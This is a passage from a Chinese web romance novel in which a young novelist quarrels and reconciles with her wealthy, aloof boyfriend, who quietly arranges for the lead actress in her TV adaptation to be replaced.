走出宴会厅，朝着酒店的门口走去时，刚走出没几步，前面传来一阵骚乱声，桑柠不禁抬头望了过去。
不远处，霍今然被围在几个穿西装的人中间，正大步穿过酒店的大堂。
酒店璀璨的白光里，霍今然一身剪裁精致的高定西装，上乘的气质矜贵疏离，深栗色短发下的那张脸，更是惊为天人。
桑柠顿在原地，目光一瞬不瞬的望着他。
霍今然跟着他身边的人越走越近，不知是不是感应，他微抬眼，朝桑柠那边望了过去。
她站在那里，着一件石榴红的薄纱修身长裙，裹着她凹凸有致的好身材，妩媚妖艳，可偏偏她那晚的发型又很可爱，像甜甜的玛丽猫。
又纯又欲，不自知的勾人。
看到她，不过那么冷清的一眼，霍今然又低下眼看向了掌心里的手机。
那双眉眼依然冷淡到像附着一层薄冰片般，冷到了极致。
不知是因为心里本来就烦闷，还是因为霍今然冷淡的反应，桑柠的心里皱巴巴的，像是柠檬酸水渗透，有些酸涩。
霍今然被几人围着，跟她擦肩而过，像个陌生人似的。
他走进电梯，眉眼依然低垂着，那张俊美的脸也淡的毫无情绪，电梯门缓缓合上，在最后看到他时，他依然面色冷淡的望着手机，疏离又陌生。
桑柠咬着唇，她低下眉眼望着瓷砖上白晃晃的亮光，皙白的小脸蒙着一层灰扑扑的情绪，欲要离开时，包里的手机传来微信新消息的提示音。
她拿出，看了一眼。
是霍今然发来的，很简单的一句话，却勾着一股魅惑，蛊的她心里禁不住的，也很没出息的泛起了丝丝的涟漪。
——去楼上房间，洗干净等我。
4. 4
是霍今然的助理将桑柠送到房间里的。
开了门，单羽拿出手机：“桑小姐，你加一下我的微信，以后方便你找我。”
“好的。”桑柠拿出了手机。
一番操作，桑柠加上了单羽的微信。
单羽张了张口，本来想恭喜桑柠电视剧将要开拍了，但一想到女主是圈里的炒作女王江念惜，他到底是没能说出口。
只是简单的寒暄了一句：“我其实看过桑小姐的小说。”
“你也喜欢看爱情小说么？”桑柠有些意外。
桑柠以前在《HerFashion》杂志的那期专访，有她的照片，也有她本人的名字，所以很多人都知道网上的知名小说作家桃夭就是她。
单羽脸红的挠了挠后脑勺：“偶尔闲的时候，会看看。”
“那你家霍少有看过我写的小说么？”桑柠冷不丁问了一句。
“霍少他，偶尔会看一下吧，不过他太忙了，”单羽支支吾吾道，“最近霍少更是连轴转，这大半个多月都没怎么好好休息了。”
桑柠长长的眼睫微颤：“哦。”
“对了，霍少这次从国外回来，有给桑小姐带礼物。”单羽指着地上一个粉色的礼物盒，转了话题道。
桑柠偏头看了一眼，地上的那个盒子很大，估计放了很多东西。
“本来要明天给桑小姐送过去的，正好你现在可以先拆一下礼物，我不打扰你了。”
说完，单羽走出去，帮忙关上了门。
桑柠走过去，看到系在粉色礼物盒的缎带下面，塞着一张贺卡，她拿过，展开，看了一眼。
上面只有简单的一句英文。
——To：Mybaby
桑柠咬着唇，不自禁的笑了出来，心底冒出甜滋滋的感觉，一下子就覆盖了先前的那些酸涩。
她将贺卡放到一边，掀开礼物盒子，看到盒子里面都是Chanel新上架的一款包包。
之前霍今然微信里突然给她发来一张包包的照片，问她喜欢么，她回他喜欢。
他就给她买了下来。
每个颜色，每个尺寸，在国内一直断货的包包，他从国外给她都买全了。
拆完礼物，桑柠顺势坐到了地毯上，她从包里翻出手机，给连歆语发了个微信：你以后还叫霍今然男妖精么。
连歆语：干嘛？
桑柠转身，从盒子里拿出个包包，拆了包装，是一个黑色菱格的金色链条包包，国内的断货王。
也是连歆语最近的梦中情包。
她拍下照片，发给了连歆语：你口中的男妖精送的，每个款式都买到了。
桑柠：送给你。
连歆语：桑柠！我的大宝贝！老娘爱死你了！
连歆语：以后我不叫霍今然男妖精了，叫爸爸都行。
“……”
桑柠：行了，你要是没走，就上来取包吧。
桑柠将房间号发给了连歆语。
不过几分钟，门口就响起了敲门声：“桑柠，是我。”
连歆语来的还挺快。
桑柠走过去，打开了门：“你可真积极。”
“不然呢。”连歆语踩着细高跟鞋，哒哒哒的走进了房间里，看到放在沙发上的包包，她直接走过去，抱在了怀里，兴奋的不行，“乖乖，你终于来到妈妈身边了，妈妈快想死你了，做梦都在想你。”
“……”
桑柠双臂抱胸，倚着门：“好了，拿上你的包，走吧。”
“干嘛这么急着赶我走？”似是想到了什么，连歆语恍然大悟道，“哦，等下霍今然会过来是吧？”
连歆语将包包放到盒子里，她拎起来，很识趣的朝门口走去：“小别胜新婚，你可悠着点，开过荤的女人比男人还可怕呢，可别把霍今然给折腾散了。”
“去你的。”桑柠拍了下连歆语的屁股，而后她毫不留情的关上了门。
房间里安静了下来，只剩桑柠一个人。
上次来时，房间里还到处都是男人冷清的气息，这次转了一圈，桑柠发现多了些女生用的东西。
都是霍今然给她准备的。
像是在无声的昭示，她可以轻而易举的就能进入他的领域，在他的地盘来去自如。
桑柠走进盥洗室，卸妆，洗澡，换上了霍今然给她准备好的丝绸吊带睡衣。
洗漱完，桑柠从盥洗室走出来时，她望了一眼墙角的钟表，已经夜里九点了。
不知不觉间，她已经等了一个小时了，霍今然却还没回来。
桑柠拆下干发帽，走过去，用吹发机吹干了头发，她转头，又走到卧室的床边，打开抽屉，从里面拿出一盒安全套。
取出了两个。
想了想，好像不够，于是她将剩余的安全套都倒了出来。
弄完这些，桑柠突然就没什么事了，她扑到软乎乎的床上，而后又翻身平躺在了那里，睁着两只大眼睛，望着天花板，发了会儿呆。
时间慢吞吞的流逝，像蜗牛在爬，闲下来的等待，每一分都似是过得很漫长。
不知过去了多久，桑柠从床上爬起身，她走到外面，拿起手机，给霍今然发了个信息：还要多久回来？
对面没动静。
十分钟后，霍今然依然没给她任何回复。
沉默的样子，似是在无声跟她说：别管我什么时候回去，你乖乖等着就是了。
桑柠捧着手机，指间敲击屏幕，又打出一行字：到底什么时候回来？
还没发送，她又一个字一个字的删掉。
反反复复两次后，桑柠终究什么都没再发，反正不管发什么，霍今然都不会理她。
烦躁感就是在这个时候一点点的覆上了她心底，也开始一点点的吞噬之前感觉到的甜蜜。
怕继续闷在房间里，会越来越烦躁，桑柠换了来时的纱裙，准备到顶层天台的酒吧消磨时间。
外面夜色浓稠，半天边压着一层层黑漆漆的云，天气预报说这两天会有雨，也不知今晚会不会下雨。
几乎是在刚踏进酒吧的那一瞬，桑柠就看到了不远处的霍今然，他坐在一群人当中，正低着眉眼，看手上的文件。
他对面坐着一个长发的女子。
桑柠没在意，她眼中只有霍今然，看到他的那一瞬，她心里就开心了起来。
像是转头就忘了刚才霍今然不回复她信息的事。
瞧着霍今然从文件里抬起了眼，桑柠望着他笑得像个孩子似的，招手要跟他打招呼。
只是。
他的名字还没来得及唤出口，桑柠就看到他的视线，清淡的扫过她，便落到了对面女人的身上。
那一眼，跟先前在大堂里遇到他时，一样的陌生，与冷清。
唇角的笑容慢慢消失，打招呼的手也随之落下，肩膀微塌，桑柠只觉有些失落。
霍今然那么冷淡的一眼，衬得她刚才满心欢喜想跟他打招呼的样子，跟个小丑似的。
盘旋在心底的那些烦躁感，开始生出枝丫，张牙舞爪。
桑柠气不过，也似是在赌，赌霍今然对她能有多偏爱，她从包里拿出手机，拨通了霍今然的电话。
她就站在那里，咬着唇，眼睁睁的看着霍今然拿过一旁的手机，低沉的面色毫无情绪，不过轻瞥了一眼，便挂断了她的电话。
而后他起身，跟坐在他对面的女人，还有身边的一行人，从那边的出口，离开了酒吧。
昏暗的光线落在他身上，背影绝情冷然，没有半点的温度。
当她陌生人似的。
这场赌注，她输的彻底。
桑柠怔在原地，一股郁气堵在胸口不上不下，好不难受。
手机里不停传来微信新消息的提示音，将桑柠从下沉的情绪里拉出来，她低头，解锁看了一眼。
信息是从名为一根藤上两朵花的群里发出来的。
群员有三个，除了桑柠跟连歆语，还有一个跟她们姐妹俩在高中时就一起玩到大的，纯友情竹马陆佑安。
陆佑安：来，猜一下，哥现在在哪儿？
连歆语：喝大了？
连歆语：你不在伦敦，还能在哪儿？
……
看新消息还在不断冒出来，桑柠没心情再看，她黑了屏幕，将手机丢进了包包里。
她转身，走出了酒吧。
外面夜色越发沉郁，雨还未落下，她心里却已是一片潮湿黏腻。
回到房间，桑柠冷静下来，自我安慰：他刚才只是在忙工作，不是故意冷落你的。
没事的。
可是。
还是觉得很委屈。
桑柠忍不住有些鼻酸。
她坐在床边，微缩着肩膀，低着长长的眼睫，没什么焦点的望着晃在地板上的灯光，整个人都闷闷的。
像霜打的茄子似的，毫无生气。
时间很快就到了夜里十一点多，霍今然还是没回来，也不给她打个电话，甚至一个信息都没有。
桑柠心里越来越憋屈，再等下去，每一分每一秒都有些煎熬，像是煮开的沸水，到了极限，半点都忍耐不下去了。
她不等了。
瞧着外面没落雨，桑柠就直接拎着包包，走出了房间。
穿过酒店明亮的大堂，刚走到门口，抬眼，桑柠看到一个熟悉的身影。
昏黄的路灯下，霍今然依然笔挺的西装，他侧身站在那里，单手覆在车顶上，护着一个女人上了车。
绅士，又矜贵。
这一幕，看在桑柠眼里，却只觉有些刺眼。
桑柠认出那个女人。
是先前在酒吧坐在霍今然对面的长发女人，也是早先在江念惜偷拍的照片里，那个红裙女人。
瞧见那一幕，桑柠不禁咬了下唇，咬的重，红润的唇瓣不禁泛了点白，她拿出手机，拨通了霍今然的电话。
这次霍今然倒是很快接通，她问：“你现在在哪里？”
“还
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在工作，很快就回去。”霍今然低哑的声音通过电流传了过来。
桑柠攥紧了手里包包的带子：“是么，原来大半夜护送别的女人回家，也是霍总您的份内事么？”
语气里带着明显的酸意。
霍今然忽得抬眼望了过来，依然是那么冷清的一眼，昏黄的光里，他面庞英俊，却不染一丝笑意：“上去等着。”
桑柠只觉委屈：“我不要，你现在马上就过来陪我！”
见霍今然将要收起电话，桑柠紧握着手机，急切的唤他：“霍今然，你不许走！”
大雨是在这时突然落下的，豆大的雨点噼里啪啦的砸到了地上。
桑柠没注意到，看到霍今然上了车，关了车门，她握着手机，执拗的追了过去：“霍今然，你回来！”
大雨劈头盖脸的砸了她一身，猝不及防。
那辆黑色的劳斯莱斯终究没停下来，绝情的行驶在了雨夜中。
车里，沈氏集团的现任总裁沈青玥，偏头看了一眼旁边的霍今然：“女朋友？”
“嗯。”
“不下车？”
“不用。”霍今然低头，慢条斯理的整理了下袖口，没所谓道，“小女生，不懂事，回头哄哄就是了。”
雨势似乎大了些，密密麻麻的落下来，地面已经染湿，有些滑。
桑柠穿着高跟鞋，追出去时，不小心滑了一跤，摔到了地上，狼狈不堪。
包包里的东西，散落了一地。
心情也抓狂到了极点。
她咬唇，忍耐着，可还是红了眼眶，不争气的眼泪也跟着相继涌了出来。
刚把两支口红捡起，还没来得及放到包包里，桑柠就感觉到有人撑伞过来，帮她遮了雨。
一双精致的男士皮鞋也跟着映入她的眼帘，像是霍今然又返了回来。
桑柠的心尖微颤，没出息极了。
只是很快一个熟悉的男声响了起来：“这么久不见，怎么跟哥行这么大的礼？”
桑柠抬头，看到的果然不是霍今然，而是她的竹马陆佑安。
大半的雨水被黑伞遮住，没再淋在她的身上，她恍然的心尖却在那一瞬间，又似是重新淋了雨水。
一年多没见陆佑安了，他变了很多，染了一头的金发，少年气息不再，只剩一股桀骜不驯的痞气。
陆佑安撑着黑伞，帮桑柠捡起地上的粉饼，递过去后，他单手将她扶了起来：“干嘛呢，大半夜的？”
“要你管。”桑柠撒气的将粉饼摔进了包包里。
“跟男朋友吵架了？”陆佑安单手抄兜，吊儿郎当的又问她。
桑柠白了他一眼：“别问了行不行。”
“行行行，不问了。”陆佑安连连应道。
雨还在落下，越来越急迫。
看雨势有些大，桑柠跟陆佑安说：“你先陪我回酒店，我想去趟洗手间。”
“行，但别耽误我太久啊，楼上有佳人等着哥呢。”
桑柠含糊的嗯了一声，转身朝酒店走去时，她又随口问了一句：“你什么时候从国外回来的？”
陆佑安帮她撑着伞：“昨天，本来想搞个突然袭击，给你和歆语一个惊喜的，现在好了，大半夜的都能跟你撞见。”
说话间，两个人就已经走到了酒店的门口。
陆佑安收了伞：“行了，这把伞你留着，等会儿你开我的车回去，我就不送你了，哥真的有要紧事。”楼上有位36D的佳人等着哥呢。
看着陆佑安的伞递过来，桑柠没接，先前的委屈从心底悉数翻涌出来，感觉像是被全世界抛弃了似的，她扁着嘴，突然呜呜咽咽道：“你们男人都这么狠心的么，我都这样了，你忍心丢下我一个人不管么？”
“……”
陆佑安慌了神，他最怕女孩子哭了。
“行了，姑奶奶，算我怕你了，你去吧，我就在大堂等着你。”
桑柠红着眼，将手机跟包包递了过去：“那你帮我把上面的雨水都擦干净吧，反正你干等着也无聊。”
“……”我真是欠你的。
陆佑安一脸无语的接过了桑柠的手机，跟包包。
半夜的京城，烟雨弥漫，路上很空旷，几乎没什么车辆。
送完沈青玥，回程的路上，霍今然靠在身后的座椅上，他半合着眼眸，没什么焦点的望着车窗外的落雨。
夜半时分，白天热闹的京城，此刻也变得荒芜起来，天地间仿佛只剩下了漫天的雨声。
意外的，霍今然很想在这个时候，听到桑柠的声音。
他摸到手机，拨通了她的电话，还以为她会赌气的挂断，却没想到那边很快就接通了。
电话一接通，传来的却是个陌生男人的声音：“喂，找桑柠？”
霍今然握紧了手机，微暗的眸子里不着色，透着一股比雨水还要清冷的凉意。
沉默须臾，他薄唇微启：“她在哪里？”
那边很快回他：“还在金缦丽酒店。”
5. 5
桑柠从洗手间出来时，刚走到大堂，一抬眼，她就看到了从外面走进来的霍今然。
外面依然大雨磅礴，他身上却未沾染半点雨水，还像平时一样矜贵自持。
桑柠睨了他一眼后，她径直走到了陆佑安的面前：“哥哥。”
此时，霍今然跟她只差两三步之遥，她的那声甜腻的哥哥，他听得很清楚。
视线落到坐在沙发上的陌生男子，他深沉的眸子暗了几度，面色也跟着沉凉了些许。
像是外面无情淹没城市的雨水。
比之霍今然反应更大的，却是陆佑安，他几乎吓一跳，挑眉望向桑柠，不解道：“突然干嘛呢，你……”
“哥哥。”桑柠又唤了他一声，打断了他后面的话。
“……”
陆佑安吓得不敢吭声了。
“你送我回家，好不好，哥哥？”桑柠抱住陆佑安的手臂，将他从沙发里扯了出来。
多年朋友，陆佑安还是很有默契的，看到那边有个西装男子，目光几乎都笼在了桑柠身上。
陆佑安自然就明了了一些事。
桑柠在故意气她男朋友呢。
陆佑安心照不宣的站起身，跟桑柠朝门口走去。
霍今然已经停了下来，就站在那里，看到桑柠紧挽着其他男人的胳膊，他眸色暗沉，不透底。
仿佛外面的雷雨天，裹着些不知名的危险。
看到桑柠走过来时，他伸手抓住了她的手腕，低低的唤她：“桑柠。”
桑柠不应话，也不看他，只是甩开他的手腕，双手抱出了陆佑安的胳膊。
将霍今然不管不顾的甩到了身后。
视线轻瞥到陆佑安别扭的神情，霍今然眉眼松了下，他转身，单手抄兜，懒慢的跟在了后面。
走出去没几步，陆佑安小声嘀咕了句：“不是跟你说了，哥有正事。”
“知道，有佳人在楼上等你。”
“那还不松手。”
“不能，想再气气他，谁让他刚才那样对我。”
走出酒店，停到门口时，陆佑安说什么都不肯走了：“行了，姑奶奶，哥就只能陪你演到这儿了。”
身后，霍今然懒懒的倚在了门口的石柱上，他双手插兜，散漫无谓。
桑柠松开了陆佑安的胳膊：“见色忘友。”
“忘恩负义了不是。”陆佑安瞧了一眼外面的大雨，他从兜里掏出车钥匙，递给了桑柠，“哥可以给你开间房的，是你非要走，就你那犟脾气，我也拦不住你呀。”
桑柠没接：“一晚上不弄，会死吗？”
“问你男人去，你跟他待一晚上，什么都不做，你看会不会憋死他。”
后面的霍今然低着眼睫，望着路边溅起的水花，勾了勾唇角。
桑柠闷声应了一句：“我还不想理他。”
说完，她又轻叹了口气：“行了，你上去吧，不用管我了。”
“真的不用我管了？”
“嗯，我想在这里待会儿，等下我会自己开间房，你走吧。”
“行吧，下这么大的雨，回去也不方便。”陆佑安将车钥匙又塞回了裤兜里。
见陆佑安转身，桑柠也跟着转过了身，一直站在门口也不合适，她想去大堂坐会儿。
几乎是在两个人刚转过身时，一抬眼，就看到了那边还懒懒倚着石柱的霍今然。
桑柠：“……”
陆佑安：“……”
雨天昏暗的半夜，只有从酒店大堂透出的少许光亮，混着阴天的暗光，暗戳戳的落了霍今然一身，晦暗不明的光线里，他桃花眼微敛，薄薄的眼皮望过来时，沉凉疏离的神色，轻而易举的就能勾的人心跳慌乱不已。
他的视线不偏不倚的都落在了桑柠身上，薄唇微启，哑哑的跟她说：“走了，上楼。”
陆佑安撞了下桑柠的肩膀，识趣道：“哥先走了，跟他好好谈谈。”
说完，陆佑安跟霍今然点头示意了下，便离开了。
酒店昏暗的门口这里，只剩下了霍今然跟桑柠两个人。
桑柠没有动，她双手抱臂的站在那里，没好气的揶揄了一句：“霍总不是很忙么，怎么有那个闲工夫，跑来偷听别人的对话。”
霍今然微倾身，离开了石柱，他走过去，停到桑柠面前：“因为害怕。”
他伸手，揽过桑柠的腰身，将她贴近他：“怕你跟别人跑了。”
桑柠被他困住，心跳慌乱的落空了一拍。
她很没出息的心软了。
嘴上却没饶过他：“不像啊，刚才霍总不是很硬气么？”
“那等下，你狠狠惩罚我，行不行，嗯？”他语气低，厮磨在她耳边。
心间颤栗，桑柠的身子也跟着发了软。
她双手抵在他结实的胸膛，一双黝黑的眸子里水光涟漪，分外的勾人：“不行，不理你，就是对你的惩罚。”
声音不自知的发软，听起来像是在撒娇。
“嗯，行，不理。”霍今然伸手，长指钳住她白皙的下巴，低垂的眼眸里沾染了春光，分明是个雨夜里会勾人的妖精，“那就只接吻。”
“不要……”
唔。
话还没说完，强势的吻就堵上了她的嘴，男人力气大，将她紧箍在怀里，她根本就逃脱不得。
也没力气推开他。
跟着霍今然上了楼，到了关了灯的房间。
在热吻的间隙里，桑柠声音发颤的娇嗔道：“还没消气，不让你碰。”
霍今然双手箍着她的腰身，轻轻撕咬着她白皙的脖颈，怀里的人身体禁不住颤栗不止。
桑柠用仅存的力气推了下他：“不许碰。”
纱裙的肩带已落下，霍今然的吻越发放肆起来，他低哑的声音混着欲，也低低的在她耳边响起：“会死人的。”
“……”
折腾了好几次才结束，到最后桑柠几乎是瘫软在了霍今然的怀里。
难得完事后跟他相拥，桑柠舍不得睡，就跟他聊了一些心事：“我今天本来遇见了一件很不开心的事，你还那样气我。”
霍今然从后面抱着她，把玩着她的手指：“那刚才，我补偿的够不够。”
“还行吧。”
话落，旁边的人没了动静，不过很快就感觉到霍今然朝她身边蹭了下，他抱住她的腿，搁在了他身上：“还想要是么？”
他的手指也不安分的在她身上游离着。
桑柠只觉有些痒，禁不住扭动了下身子：“不要，累的做不动了。”
霍今然也没强求她，只是又将她拥入了怀里：“不开心的事，想说么？”
“不想，提起来就烦。”
“好，不提。”他低哑的声音继续在她的耳边响起，“刚才那位女士是沈氏集团的总裁沈青玥，近期公司一个项目的合作伙伴。”
桑柠其实已经不气了，但听见霍今然的解释，她还是故意问了他一句：“她多大了？”
“三十二。”
“还挺年轻。”桑柠又问道，“那她结婚了么？”
“没，还是单身，不过。”霍今然轻轻的跟她咬耳朵道，“我有女朋友，她知道。”
桑柠咬唇笑了下：“行吧，这次就原谅你了。”
霍今然抱的她更紧了些，似是在忍耐什么：“真的不想再来一次？”
察觉到他的反应，桑柠故意朝后蹭了下，欲拒还迎道：“不要，想睡觉。”
“真的不要？”霍今然手指已经不安分起来。
桑柠受不住，刚哼唧的颤栗了下，霍今然的吻就已经落下。
弄完这一次，桑柠困得撑不住，迷迷糊糊的就睡了过去。
也不知过了多久，她听到身旁传来细嗦的声音，下意识的伸手摸过去时，旁边的床铺已空。
桑柠不禁惊醒了过来。
还以为天亮了，醒来时，才发现窗外依然黑漆漆的，雨声也还在簌簌落下。
桑柠爬起身，拿出手机，看了一眼，刚过凌晨四点。
她将手机又放了回去，抬眼望过去时，透过落地窗的薄纱，隐约看到了霍今然的身影。
他正在天台那里抽烟。
桑柠随手拿起丝绸睡衣的开衫，她起身，披到了身上。
走过去，踏入天台，就着暗光，她看到那边霍今然只穿着西装裤，裸着上半身，他半俯在栏杆上，后脊骨微凸起，指间的半支烟猩红的火光明明灭灭，涟漪的暗光里，他的侧脸惊艳到。
像是夜里的吸血鬼似的令人恍惚。
漫天的雨水清凉而落，转眼就消失，望着那边夜色里的霍今然，桑柠的心里蓦地皱了下。
还是第一次看到这样的他，有些落寞，有些寂寥。
好像会随时随着外面的雨水消失。
桑柠突然想起单羽之前的话，说霍今然已经连轴转忙了大半个多月了，这段时间他都没怎么好好休息。
凌晨四点多了，他却还不睡，还跑到天台这里抽烟，会不会也遇到了烦心事。
听见门口的动静声，霍今然转头望了过去：“吵醒你了？”
桑柠不说话的摇了摇头。
她光脚走过去，从后面抱住了霍今然，脸蛋贴着他的后背：“霍今然。”
“嗯？”
“不管你有什么烦心事，很快都会过去的，没事的。”她紧紧的抱着他
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，又咕哝了一句，“有我陪着你呢。”
霍今然眼睫微颤，指间的烟还在燃烧，他却已经忘记抽了，白色的烟灰簌簌坠落。
窗外还在落雨，凌晨的京城烟雨朦胧，苍凉空寂。
这段日子，国内的新项目要和沈氏集团合作，但竞争对手也在死磕沈氏，昨晚跟沈青玥会面，却也没把项目敲定，那边还要再考虑一下。
国外的项目也是频频出现问题，像是所有的问题都集中在了这段日子。
霍今然忙的焦头烂额。
只是在雨夜的阳台上，被桑柠这样抱着，他总算能从繁忙的工作里喘了一口气。
那些烦躁感亦是还没被尼古丁冲淡，就已经溺死在了桑柠的那些话里。
跟着霍今然重新回到床上，桑柠迷迷糊糊的又睡了一觉。
回笼觉睡得很沉，没睡多久，桑柠似是隐约听见，耳边响起霍今然低凉的声音：“给你点了早餐，吃完再离开。”
还以为在发梦，直到霍今然的吻落到她的额头上，桑柠才醒过来，她含糊的嗯了一声，睁开眼望过去时，霍今然已经离开了。
只看到了他的背影。
窗外天色还没亮，雨声也还在淅淅沥沥的落下。
霍今然走到外面时，唐志诚已经等在了那里：“霍总。”
“嗯，什么情况？”霍今然已经朝着电梯那边走去。
唐志诚跟在旁边：“国外那边有个项目合同出现了问题，得让您亲自过去处理一下，已经买了最快的航班，两个小时后就能起飞。”
单羽拖着行李箱也连忙跟了过去。
离开酒店，上了车，一行人直奔机场。
去国外处理完事情，隔天霍今然就又返回了京城，前天的雨不知何时停的，还没出太阳，整个城市还有些湿漉漉的。
霍今然靠在椅背上，他掏出手机打开微博看了一眼，桑柠这两天只发了一条微博：我好想你。
见小女友隔空撒娇，霍今然勾了下唇边的淡笑，刚要切换到微信时，旁边响起了单羽的声音：“霍少，桑小姐又上热搜了？”
霍今然低垂着眼，又返回微博，看了一眼热搜。
前排高位：江念惜跟原著作者桑柠相识已久。
点开热搜，置顶是一个视频，霍今然低垂着眉眼，点开了那个视频。
很快，江念惜的声音传了出来：“我跟原著作者真的很早就认识了，以前我跟柠柠姐就经常被人误会像双胞胎，我们感情很好的……”
视频里的江念惜长相普通，眉眼更是谈不上惊艳，搁人群里都是很普通的一个女生。
霍今然没兴趣再看下去，他关了视频：“她是艺人？”
“对，靠炒作营销火的，背后也有人捧，实际上颜值实力都很拉胯。”单羽回道，“桑小姐这次有麻烦了，这位江念惜每拍一部剧，就拉出来很多人营销，看这样子，估计桑小姐这段日子都不能清净了。”
“而且更糟心的是，江念惜的样子，跟桑小姐小说里的女主完全不是一个类型，说难听的，桑小姐笔下那么好的一个女主，算是被她糟蹋了。”
看过桑柠的小说，单羽也算是个小粉丝了，忍不住就多说了些。
霍今然没应话，只是忽得想起那天夜里桑柠有说过遇到了烦心事，烦到都不想提。
看来江念惜成为她小说的女主，这件事确实令她很烦恼。
霍今然唤了一声坐在副驾驶座的唐志诚：“唐秘书。”
唐志诚在座位上转过了身：“霍总，您有什么吩咐？”
“查一下《一见成欢》电视剧的投资人是谁。”霍今然淡然开口。
“好的，霍总。”
唐志诚掏出手机，打了个电话，没几分钟就查了出来。
挂断电话，唐志诚又转头跟霍今然说：“霍总，查出来了，就是您朋友陆寒笙的影视公司投资的。”
霍今然低捷，他打开微信，点开了跟陆寒笙的聊天对话框：江念惜，你旗下的艺人？
那边没回应，许是在忙，十分钟后，陆寒笙回了过来：嗯，你有兴趣？
霍今然：挂个眼科去。
“……”
陆寒笙：说正事。
霍今然：公司没其他女艺人了，非要捧她？
陆寒笙：她父亲跟我公司生意上有来往，资源置换。
陆寒笙：不得不捧。
霍今然：《一见成欢》的女主，换掉她。
霍今然：损失我来承担。
陆寒笙：给个理由。
阴天的车厢里有些昏暗，霍今然低垂着眼睫，情绪淡如白水，他长指亦是淡然的敲出了一行字：她惹着我的人了。
6. 6
这几日，桑柠一直窝在家里，手头上的小说快要完结了，她干脆一鼓作气，决定将后面几章都写完。
她闷头写小说，也不怎么上网，更不想看微博。
《一见成欢》的电视剧开拍在即，营销的热搜接连不断，江念惜更是拉着她这个所谓的好姐妹上了好几轮热搜了。
眼不见心不烦。
桑柠这几天干脆不闻不问，只专心存稿了。
也只是偶尔才会在微信上跟霍今然联系一下，不过他很忙，发过去的信息很久才会回复，桑柠也就不烦扰他了。
她继续窝在家里存稿。
收到连歆语的信息时，已是七月初了，暑气正盛。
——快去看热搜。
桑柠：不看。
连歆语干脆给她发了个截图：你电视剧换女主了？
桑柠看到照片，一愣，这段时间江念惜营销的正热火呢，怎么可能突然换女主。
她切换到微博，看了一眼热搜。
果然。
热搜高位第一：一见成欢女主尹初恩
桑柠很眼熟这位女明星，娱乐圈外貌出了名的美艳，很符合她的女主。
她点开热搜，置顶视频的评论已过千。
——头一次见识到这种炒作，拉出来两个女明星，不过尹初恩确实更符合女主人设。
——前几天的江念惜就走了过场，这位姐还是那么会蹭。
——这个作者什么来头啊，女主说换就换。
——看过照片，特漂亮，媲美女明星，估计背后有人。
——上面的讨论归讨论，能别造谣么，给我家大大辟个谣，人父母是在南方做生意的，而且自己本身也能赚钱，别是个漂亮女生，就往阴暗里面猜。
——吃瓜，小作者背后确实有个大佬撑腰，京圈数一数二的那种，只能说到这里了，想问其他的可以私信我。
配图：扫码进群，包你领零花钱。
“……”
什么乱七八糟的。
桑柠正于退出微博时，手机屏幕上方刚好冒出来好几条信息，都是来自相熟的剧本编剧冯馨雅。
——桑柠，电视剧换女主了。
——制作团队也换了，是圈里最厉害的电视剧制作团队。
……
桑柠给冯馨雅回了一条，她看到了，但具体发生了什么事她也不知道。
连歆语在微信里问她时，她也是这么回的。
桑柠：我也不知道，是你让我看热搜，我才知道换女主了。
连歆语：是不是霍今然帮你换的。
桑柠：不可能吧。
桑柠：他前阵子还在国外呢，而且我也没跟他提起过这些事。
连歆语：那就是江念惜得罪圈里的人了，要整她，不管怎样，反正有人帮你出气了。
连歆语：这两天有空么，姐妹帮你庆祝一下。
桑柠：好啊，我小说刚好结尾了，正好想放松一下，你定时间。
连歆语：那就周六晚上了，我叫其他姐妹一起出来，热闹一些。
桑柠：OK。
发完这条信息，桑柠又转到微博，切换成小号，发了条微博：今天很开心，好想好想某个人。
刚发出去没多久，再一刷新，她就看到了霍今然给她点的赞。
猜他应该有些空闲，桑柠就给他发了条微信：周六我约了几个朋友，你要不要跟我一起去呀？
霍今然：我去合适么？
桑柠：怎么不合适，还没正式将你介绍给我朋友们呢。
霍今然：好，我看看到时有没有时间，之后回复你。
桑柠：好的~爱你~么么！
很快，周六，那天晚上桑柠盛装打扮了一番，等着霍今然来接她。
不过等了多时，却都没等到他的人，只等来两条信息。
——临时有事，我过不去了，你跟你朋友好好玩。
——今晚你们的消费，我全包了，玩的愉快。
读完这两条消息，桑柠不免有些失落，但一想到霍今然可能真的有重要的事，她也就不计较了。
于是欢快的回他：好呀，那我们可不客气了。
到了澜轩会所包间，连歆语已经跟其他姐妹到齐了。
看到桑柠一个人来，有个朋友不禁问道：“你男朋友呢，不是要介绍给我们么？”
桑柠将包包甩到沙发上：“他临时有事，来不了了，不过。”
她唇角深陷，笑的很甜：“我们今天所有的消费，他都包了。”
“行吧，人不来，情意到，你男朋友人怪好的。”
“我说姐妹们，今晚点最贵的，谁都不用给霍今然省钱。”连歆语在旁附和了一句。
桑柠笑了笑，没说话。
另一边。
御都会所。
京城有名的销金窝，会员制，不是一般人能进去消费的会所，大多非富即贵。
沈青玥突然约霍今然过来谈事，他拒绝不得，只好推了跟桑柠的约会。
谈完公事，要离开时，身后突然有人唤住了他：“然哥。”
霍今然回头，看到倚在包间门口的宋觉扬，便随口问了一句：“他们也在？”
他口中的他们分别是陆寒笙，还有方斯舟。
四个人关系一向甚好。
宋觉扬朝包间里头歪了一下脑袋：“都在呢，就缺然哥你了，过来一起Happy。”
霍今然跟旁边的唐志诚吩咐了一句：“你们先回去吧。”
“好的，霍总。”唐志诚跟其他工作人员
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一起离开了。
跟着宋觉扬走进包间，看到方斯舟正窝在沙发上玩手机，旁边的陆寒笙正躺在那里补觉。
见着霍今然，染着浅金发色的方斯舟起身打了声招呼：“然哥，什么风把你给吹来了？”
“在这里谈事，刚好碰到了觉扬。”霍今然走过去，坐到了沙发上。
陆寒笙还在补觉，估计一夜没睡，也就没叫醒他了。
宋觉扬坐到了霍今然的对面，他染了一头的银发，四个人里属他最混。
“然哥，你那小作家女友谈的怎么样了，做了没？”
霍今然低垂着眼睫，点燃了嘴边的烟。
没搭理宋觉扬。
“然哥要么不谈，谈就谈最好的，我在网上搜到照片，那小作家长得太特么带劲了，脸蛋那么纯，他妈的胸还那么大。”宋觉扬在胸前夸张的比划了下，嬉皮笑脸道，“手感不错吧。”
方斯舟在那边禁不住摇了摇头，宋觉扬这人混气十足，嘴巴也是没把门似的，说话从来不过脑子。
霍今然指间夹着烟，低眸，倒了杯酒，他依旧不说话，眼神却掺了些冷意。
整个人亦是透着一股难以名状的狠厉。
像是冬天冻住的湖面，还未接近，就已感觉到了彻骨的寒意。
接下来喝酒时，霍今然故意给宋觉扬怼了三四瓶洋酒，喝的他的胃火烧火烧的疼。
